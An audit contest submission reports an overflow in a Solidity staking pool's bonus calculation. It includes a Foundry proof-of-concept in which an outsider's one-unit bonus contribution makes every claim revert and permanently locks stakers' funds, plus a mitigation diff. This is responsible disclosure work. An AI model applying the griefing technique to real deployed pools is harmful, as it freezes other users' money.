FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: medium

Missing aggregate stake bound makes k=2 reconstruction overflow and permanently locks principal and bonus after SURVIVED/EXPIRED resolution

Author Revealed upon completion

Description

  • Normally, ConfidencePool records each deposit's first and second timestamp moments, then reconstructs each staker's k=2 score when a SURVIVED or EXPIRED claim is made. The claim should return the staker's principal plus its time-weighted share of the tracked bonus.

  • The pool bounds neither an individual raw stake nor totalEligibleStake against the largest future terminal timestamp. Consequently, deposit-time moments can fit while the mathematically equivalent expanded expression used by _bonusShare() later overflows. In a risk-observed pool, any nonzero tracked bonus activates this calculation; a permissionless zero-stake account can therefore contribute one raw token unit and make every SURVIVED/EXPIRED claim revert before principal is transferred.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (amount < minStake) revert BelowMinStake();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
if (!expiryLocked) {
expiryLocked = true;
}
uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
_clampUserSums(msg.sender);
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
uint256 contribTime = received * newEntry;
uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
userSumStakeTime[msg.sender] += contribTime;
userSumStakeTimeSq[msg.sender] += contribTimeSq;
// @> No aggregate bound guarantees that these moments remain reconstructable
// @> for every future T <= expiry.
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
emit Staked(msg.sender, received);
}
function contributeBonus(uint256 amount) external nonReentrant whenPoolNotPaused {
if (amount == 0) revert InvalidAmount();
if (outcome != PoolStates.Outcome.UNRESOLVED) revert OutcomeAlreadySet();
if (block.timestamp >= expiry) revert StakingClosed();
_assertDepositsAllowed(_observePoolState());
uint256 balanceBefore = stakeToken.balanceOf(address(this));
stakeToken.safeTransferFrom(msg.sender, address(this), amount);
uint256 balanceAfter = stakeToken.balanceOf(address(this));
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
// @> One raw unit is sufficient to make snapshotTotalBonus nonzero.
totalBonus += received;
emit BonusContributed(msg.sender, received);
}
function claimSurvived() external nonReentrant {
if (outcome != PoolStates.Outcome.SURVIVED) revert OutcomeNotSet();
if (hasClaimed[msg.sender]) revert InvalidAmount();
uint256 userEligible = eligibleStake[msg.sender];
if (userEligible == 0) revert InvalidAmount();
_clampUserSums(msg.sender);
hasClaimed[msg.sender] = true;
// @> The overflowing bonus calculation executes before principal is transferred.
uint256 bonusShare = _bonusShare(msg.sender, userEligible);
uint256 payout = userEligible + bonusShare;
totalEligibleStake -= userEligible;
claimedBonus += bonusShare;
delete eligibleStake[msg.sender];
delete userSumStakeTime[msg.sender];
delete userSumStakeTimeSq[msg.sender];
if (!claimsStarted) claimsStarted = true;
stakeToken.safeTransfer(msg.sender, payout);
emit ClaimSurvived(msg.sender, userEligible, bonusShare);
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
// @> A one-unit bonus contribution bypasses the zero-bonus early return.
if (snapshotTotalBonus == 0) return 0;
if (riskWindowStart == 0) return 0;
uint256 T = outcomeFlaggedAt;
uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
// @> The nonnegative score is expanded into large positive terms before
// @> 2*T*snapshotSumStakeTime is subtracted.
uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
if (globalScore == 0) {
if (snapshotTotalStaked == 0) return 0;
return Math.mulDiv(userEligible, snapshotTotalBonus, snapshotTotalStaked);
}
return Math.mulDiv(userScore, snapshotTotalBonus, globalScore);
}

Let:

M = type(uint256).max
s = riskWindowStart
T = outcomeFlaggedAt
S = snapshotTotalStaked
R = snapshotSumStakeTime
Q = snapshotSumStakeTimeSq

For stake present before the risk window, the clamp makes R = S*s and Q = S*s². The intended score is:

S*T² - 2*T*R + Q = S*(T-s)²

However, the implementation first materializes:

S*T² + Q = S*(T²+s²)

The first toxic aggregate is therefore:

S = floor(M / (T²+s²)) + 1

At this exact boundary, S*T², S*s², and the true score S*(T-s)² each fit in uint256, but adding the two positive operands reverts with arithmetic panic 0x11. The full accepted-but-unclaimable interval is:

floor(M / (T²+s²)) + 1 <= S <= floor(M / s²)

The PoC splits S between two honest stakers. Each staker's user-specific positive sum remains representable, so both claims demonstrably reach and fail at the shared global reconstruction.

The PoC token is a fixed-supply, exact-transfer OpenZeppelin ERC20 with no fee, rebase, callback, proxy, blacklist, or later mint path. Its unusual raw supply is the compatibility precondition; high decimals only make that raw magnitude representable as a small displayed token quantity. EIP-20 defines decimals() as optional uint8 metadata, and OpenZeppelin documents that decimals do not affect balance or transfer arithmetic. EIP-20 OpenZeppelin ERC20 documentation

Risk

Severity: Medium — High impact, Medium likelihood.

Likelihood:

  • This occurs when the factory owner allowlists a standard but peculiar high-raw-supply ERC20 and an affected pool's aggregate stake enters the broad toxic interval. The owner-controlled allowlist is a real prerequisite and is why Medium is more defensible than High; the token nevertheless satisfies the contest's published standard-ERC20 compatibility.

  • Once the aggregate is toxic, exploitation is permissionless while bonus inflows are open: a zero-stake outsider contributes one raw unit, minStake does not apply, and the outsider has no principal at risk. Existing sponsor/contributor bonus activates the failure without any attacker contribution.

  • CodeHawks uses a “peculiar ERC20 token” as its example of Medium likelihood. CodeHawks severity guidance

Impact:

  • Every SURVIVED or EXPIRED claimant reverts before principal transfer, permanently locking 100% of outstanding staker principal and tracked bonus in the affected clone.

  • Mechanical EXPIRED resolution closes reflagging, the SURVIVED correction window can only resnapshot the same poisoned moments under the valid PRODUCTION outcome, and sweepUnclaimedBonus() reserves all outstanding liabilities. The pool clone is non-upgradeable, so none of these paths restores access to the funds.

  • The permanent-lock claim concerns mechanical EXPIRED and SURVIVED backed by terminal PRODUCTION. CORRUPTED settlement does not consume _bonusShare and is unaffected.

  • The impact is isolated to the affected clone and is griefing rather than theft; the outsider does not receive the frozen funds.

Proof of Concept

Paste the following file at:

test/audit/ConfidencePoolArithmeticAndRounding.poc.t.sol
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
import {ConfidencePool} from "src/ConfidencePool.sol";
import {ConfidencePoolFactory} from "src/ConfidencePoolFactory.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
/// @dev Fixed-supply, exact-transfer OpenZeppelin ERC20. The unusual decimals only make the
/// required raw-unit magnitude representable as a small displayed quantity; they do not change
/// ERC20 arithmetic.
contract AuditStandardERC20 is ERC20 {
uint8 internal immutable tokenDecimals;
constructor(uint8 decimals_, uint256 initialSupply) ERC20("High Decimal Standard Token", "HIGH") {
tokenDecimals = decimals_;
_mint(msg.sender, initialSupply);
}
function decimals() public view override returns (uint8) {
return tokenDecimals;
}
}
contract ConfidencePoolArithmeticAndRoundingPoC is BaseConfidencePoolTest {
// 2026-07-16 00:00:00 UTC. A fixed production-scale timestamp makes the exact uint256
// representability boundary deterministic.
uint256 internal constant AUDIT_TIMESTAMP = 1_784_160_000;
function setUp() public override {
super.setUp();
vm.warp(AUDIT_TIMESTAMP);
}
function _deployWithToken(AuditStandardERC20 customToken) internal returns (ConfidencePool deployedPool) {
ConfidencePool poolImplementation = new ConfidencePool();
ConfidencePoolFactory factoryImplementation = new ConfidencePoolFactory();
ERC1967Proxy proxy = new ERC1967Proxy(
address(factoryImplementation),
abi.encodeCall(
ConfidencePoolFactory.initialize, (address(safeHarborRegistry), address(poolImplementation), moderator)
)
);
ConfidencePoolFactory factory = ConfidencePoolFactory(address(proxy));
// Use the production owner allowlist and createPool clone path.
factory.setStakeTokenAllowed(address(customToken), true);
deployedPool = ConfidencePool(
factory.createPool(agreement, address(customToken), block.timestamp + 31 days, 1, recovery, _defaultScope())
);
}
function _stakeCustom(ConfidencePool target, AuditStandardERC20 customToken, address staker, uint256 amount)
internal
{
assertTrue(customToken.transfer(staker, amount));
vm.startPrank(staker);
customToken.approve(address(target), amount);
target.stake(amount);
vm.stopPrank();
}
function _contributeCustomBonus(
ConfidencePool target,
AuditStandardERC20 customToken,
address contributor,
uint256 amount
) internal {
assertTrue(customToken.transfer(contributor, amount));
vm.startPrank(contributor);
customToken.approve(address(target), amount);
target.contributeBonus(amount);
vm.stopPrank();
}
function _firstToxicAggregate(uint256 riskStart, uint256 terminalT) internal pure returns (uint256) {
return type(uint256).max / (terminalT * terminalT + riskStart * riskStart) + 1;
}
function _deployTwoStakerToxicPool(uint256 riskStart, uint256 terminalT)
internal
returns (
AuditStandardERC20 customToken,
ConfidencePool target,
uint256 toxicAggregate,
uint256 aliceStake,
uint256 bobStake
)
{
toxicAggregate = _firstToxicAggregate(riskStart, terminalT);
aliceStake = toxicAggregate / 2;
bobStake = toxicAggregate - aliceStake;
customToken = new AuditStandardERC20(60, toxicAggregate + 1);
target = _deployWithToken(customToken);
_stakeCustom(target, customToken, alice, aliceStake);
_stakeCustom(target, customToken, bob, bobStake);
}
function _assertOnlyGlobalPositiveSumOverflows(
uint256 aggregate,
uint256 firstStake,
uint256 secondStake,
uint256 riskStart,
uint256 terminalT
) internal pure {
uint256 max = type(uint256).max;
uint256 globalTerminalTerm = terminalT * terminalT * aggregate;
uint256 globalSquareMoment = aggregate * riskStart * riskStart;
uint256 globalMinus = 2 * terminalT * aggregate * riskStart;
// The two global operands and the mathematically equivalent final score all fit.
// Only their expanded addition is unrepresentable.
assertLe(globalMinus, max);
assertGt(globalTerminalTerm, max - globalSquareMoment);
uint256 trueGlobalScore = aggregate * (terminalT - riskStart) * (terminalT - riskStart);
assertLt(trueGlobalScore, max);
// Each honest staker's post-clamp userPlus fits, so their claims reach and fail at the
// shared global reconstruction rather than at a user-specific calculation.
uint256 firstSquareMoment = firstStake * riskStart * riskStart;
uint256 secondSquareMoment = secondStake * riskStart * riskStart;
uint256 firstMinus = 2 * terminalT * firstStake * riskStart;
uint256 secondMinus = 2 * terminalT * secondStake * riskStart;
assertLe(firstMinus, max);
assertLe(secondMinus, max);
assertLe(terminalT * terminalT * firstStake, max - firstSquareMoment);
assertLe(terminalT * terminalT * secondStake, max - secondSquareMoment);
}
function testPoC_OneRawBonusUnitFreezesEveryExpiredClaimAtTheGlobalScore() external {
uint256 riskStart = AUDIT_TIMESTAMP + 20 days;
uint256 terminalT = AUDIT_TIMESTAMP + 31 days;
(
AuditStandardERC20 customToken,
ConfidencePool target,
uint256 toxicAggregate,
uint256 aliceStake,
uint256 bobStake
) = _deployTwoStakerToxicPool(riskStart, terminalT);
// A zero-stake outsider makes the first active-risk interaction and contributes only one
// raw token unit. This both seals the risk start and activates _bonusShare.
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_contributeCustomBonus(target, customToken, carol, 1);
assertEq(target.riskWindowStart(), riskStart);
assertEq(target.eligibleStake(carol), 0);
assertEq(target.totalEligibleStake(), toxicAggregate);
assertEq(target.totalBonus(), 1);
assertEq(target.sumStakeTimeSq(), toxicAggregate * riskStart * riskStart);
_assertOnlyGlobalPositiveSumOverflows(toxicAggregate, aliceStake, bobStake, riskStart, terminalT);
// The same zero-stake outsider can persist the intended EXPIRED outcome without touching
// the vulnerable formula. The registry mock isolates the in-scope arithmetic; DESIGN.md
// explicitly defines expiry while UNDER_ATTACK as a normal EXPIRED path.
vm.warp(terminalT);
vm.prank(carol);
target.claimExpired();
assertEq(uint256(target.outcome()), uint256(PoolStates.Outcome.EXPIRED));
assertTrue(target.claimsStarted());
assertEq(target.snapshotTotalStaked(), toxicAggregate);
assertEq(target.snapshotTotalBonus(), 1);
uint256 frozenBalance = customToken.balanceOf(address(target));
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(alice);
target.claimExpired();
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(bob);
target.claimExpired();
// Both failed calls roll back every claim-side mutation, while the outsider's mechanical
// finality remains. The reserve calculation leaves no sweepable balance.
assertFalse(target.hasClaimed(alice));
assertFalse(target.hasClaimed(bob));
assertEq(target.eligibleStake(alice), aliceStake);
assertEq(target.eligibleStake(bob), bobStake);
assertEq(target.totalEligibleStake(), toxicAggregate);
assertEq(target.claimedBonus(), 0);
vm.expectRevert(IConfidencePool.OutcomeAlreadySet.selector);
vm.prank(moderator);
target.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
target.sweepUnclaimedBonus();
assertEq(customToken.balanceOf(address(target)), frozenBalance);
assertEq(customToken.balanceOf(alice), 0);
assertEq(customToken.balanceOf(bob), 0);
assertEq(customToken.balanceOf(carol), 0);
}
function testPoC_OneRawBonusUnitAlsoFreezesEverySurvivedClaim() external {
uint256 riskStart = AUDIT_TIMESTAMP + 1 days;
uint256 terminalT = riskStart + 3 days;
(
AuditStandardERC20 customToken,
ConfidencePool target,
uint256 toxicAggregate,
uint256 aliceStake,
uint256 bobStake
) = _deployTwoStakerToxicPool(riskStart, terminalT);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_contributeCustomBonus(target, customToken, carol, 1);
assertEq(target.riskWindowStart(), riskStart);
_assertOnlyGlobalPositiveSumOverflows(toxicAggregate, aliceStake, bobStake, riskStart, terminalT);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PROMOTION_REQUESTED);
vm.warp(terminalT);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.PRODUCTION);
vm.prank(moderator);
target.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
assertEq(uint256(target.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertFalse(target.claimsStarted());
uint256 frozenBalance = customToken.balanceOf(address(target));
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(alice);
target.claimSurvived();
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(bob);
target.claimSurvived();
// A pre-claim correction is still technically open, but PRODUCTION only permits
// SURVIVED. Re-snapshotting the same moments cannot repair the arithmetic.
vm.prank(moderator);
target.flagOutcome(PoolStates.Outcome.SURVIVED, false, address(0));
vm.expectRevert(abi.encodeWithSignature("Panic(uint256)", 0x11));
vm.prank(alice);
target.claimSurvived();
vm.expectRevert(IConfidencePool.NothingToSweep.selector);
target.sweepUnclaimedBonus();
assertFalse(target.claimsStarted());
assertFalse(target.hasClaimed(alice));
assertFalse(target.hasClaimed(bob));
assertEq(target.totalEligibleStake(), toxicAggregate);
assertEq(target.claimedBonus(), 0);
assertEq(customToken.balanceOf(address(target)), frozenBalance);
}
function testControl_LastSafeAggregateClaimsPrincipalAndBonus() external {
uint256 riskStart = AUDIT_TIMESTAMP + 20 days;
uint256 terminalT = AUDIT_TIMESTAMP + 31 days;
uint256 denominator = terminalT * terminalT + riskStart * riskStart;
uint256 lastSafeAggregate = type(uint256).max / denominator;
AuditStandardERC20 customToken = new AuditStandardERC20(60, lastSafeAggregate + 1);
ConfidencePool target = _deployWithToken(customToken);
_stakeCustom(target, customToken, alice, lastSafeAggregate);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
_contributeCustomBonus(target, customToken, carol, 1);
assertEq(target.riskWindowStart(), riskStart);
assertLe(terminalT * terminalT * lastSafeAggregate, type(uint256).max - target.sumStakeTimeSq());
vm.warp(terminalT);
vm.prank(alice);
target.claimExpired();
assertTrue(target.hasClaimed(alice));
assertEq(target.claimedBonus(), 1);
assertEq(target.totalEligibleStake(), 0);
assertEq(customToken.balanceOf(alice), lastSafeAggregate + 1);
assertEq(customToken.balanceOf(address(target)), 0);
}
function testControl_ToxicAggregateWithoutTrackedBonusReturnsPrincipal() external {
uint256 riskStart = AUDIT_TIMESTAMP + 20 days;
uint256 terminalT = AUDIT_TIMESTAMP + 31 days;
uint256 toxicAggregate = _firstToxicAggregate(riskStart, terminalT);
AuditStandardERC20 customToken = new AuditStandardERC20(60, toxicAggregate);
ConfidencePool target = _deployWithToken(customToken);
_stakeCustom(target, customToken, alice, toxicAggregate);
vm.warp(riskStart);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
target.pokeRiskWindow();
assertEq(target.riskWindowStart(), riskStart);
vm.warp(terminalT);
vm.prank(alice);
target.claimExpired();
assertEq(target.snapshotTotalBonus(), 0);
assertTrue(target.hasClaimed(alice));
assertEq(target.totalEligibleStake(), 0);
assertEq(customToken.balanceOf(alice), toxicAggregate);
assertEq(customToken.balanceOf(address(target)), 0);
}
}

Run from the repository root:

forge test --match-path 'test/audit/ConfidencePoolArithmeticAndRounding.poc.t.sol' -vv

Expected result:

Ran 4 tests for test/audit/ConfidencePoolArithmeticAndRounding.poc.t.sol:ConfidencePoolArithmeticAndRoundingPoC
[PASS] testControl_LastSafeAggregateClaimsPrincipalAndBonus()
[PASS] testControl_ToxicAggregateWithoutTrackedBonusReturnsPrincipal()
[PASS] testPoC_OneRawBonusUnitAlsoFreezesEverySurvivedClaim()
[PASS] testPoC_OneRawBonusUnitFreezesEveryExpiredClaimAtTheGlobalScore()
Suite result: ok. 4 passed; 0 failed; 0 skipped

No fork test is required. The PoC deploys the real UUPS factory proxy, uses the production token allowlist and createPool clone path, and isolates the in-scope arithmetic with the repository's registry test double.

Recommended Mitigation

Enforce a conservative aggregate-stake invariant whenever stake is admitted, before crediting the new stake's moments. Since every effective entry time and terminal time is at most expiry, capping total eligible stake at M / (2 * expiry²) keeps each positive term at most M/2, keeps their sum representable, and also bounds the doubled first-moment term and _markRiskWindowStart() reset.

contract ConfidencePool is Initializable, Ownable2Step, ReentrancyGuard, Pausable, IConfidencePool {
+ error UnsafeStakeMagnitude();
function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ uint256 expirySquared = uint256(expiry) * uint256(expiry);
+ uint256 maxTotalEligibleStake = type(uint256).max / 2 / expirySquared;
+ if (
+ totalEligibleStake > maxTotalEligibleStake
+ || received > maxTotalEligibleStake - totalEligibleStake
+ ) {
+ revert UnsafeStakeMagnitude();
+ }
+ uint256 newTotalEligibleStake = totalEligibleStake + received;
+
_clampUserSums(msg.sender);
...
- totalEligibleStake += received;
+ totalEligibleStake = newTotalEligibleStake;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
...
}
}

A decimals-only restriction is insufficient because the invariant depends on raw aggregate stake and the maximum future timestamp, not on display metadata.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!